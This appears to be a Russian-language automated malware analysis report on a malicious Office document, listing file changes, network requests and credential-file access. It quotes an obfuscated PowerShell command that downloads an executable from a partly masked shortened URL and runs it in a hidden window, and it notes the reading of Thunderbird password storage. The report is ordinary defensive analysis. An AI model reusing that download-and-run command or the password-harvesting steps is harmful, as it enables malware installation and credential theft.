Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bi#.ly/33q4tbi как %temp%\987654.exe
Внедряет код в
следующие пользовательские процессы:
- 987654.exe
Читает файлы, отвечающие за хранение паролей сторонними программами
- %APPDATA%\thunderbird\profiles.ini
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{3df33fcf-1da6-4278-b3fe-55b580470a82}.tmp
- %TEMP%\987654.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Сетевая активность
TCP
Запросы HTTP GET
- http://bi#.ly/33q4tBI
UDP
- DNS ASK bi#.ly
- DNS ASK s.##t.re
Другое
Создает и запускает на исполнение
- '%TEMP%\987654.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”http://bi#.ly/33q4tBI ” , ”$ENv:teMp\987654.exe” ) ; stARt ”$ENv:tEMP\987654.exe”' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
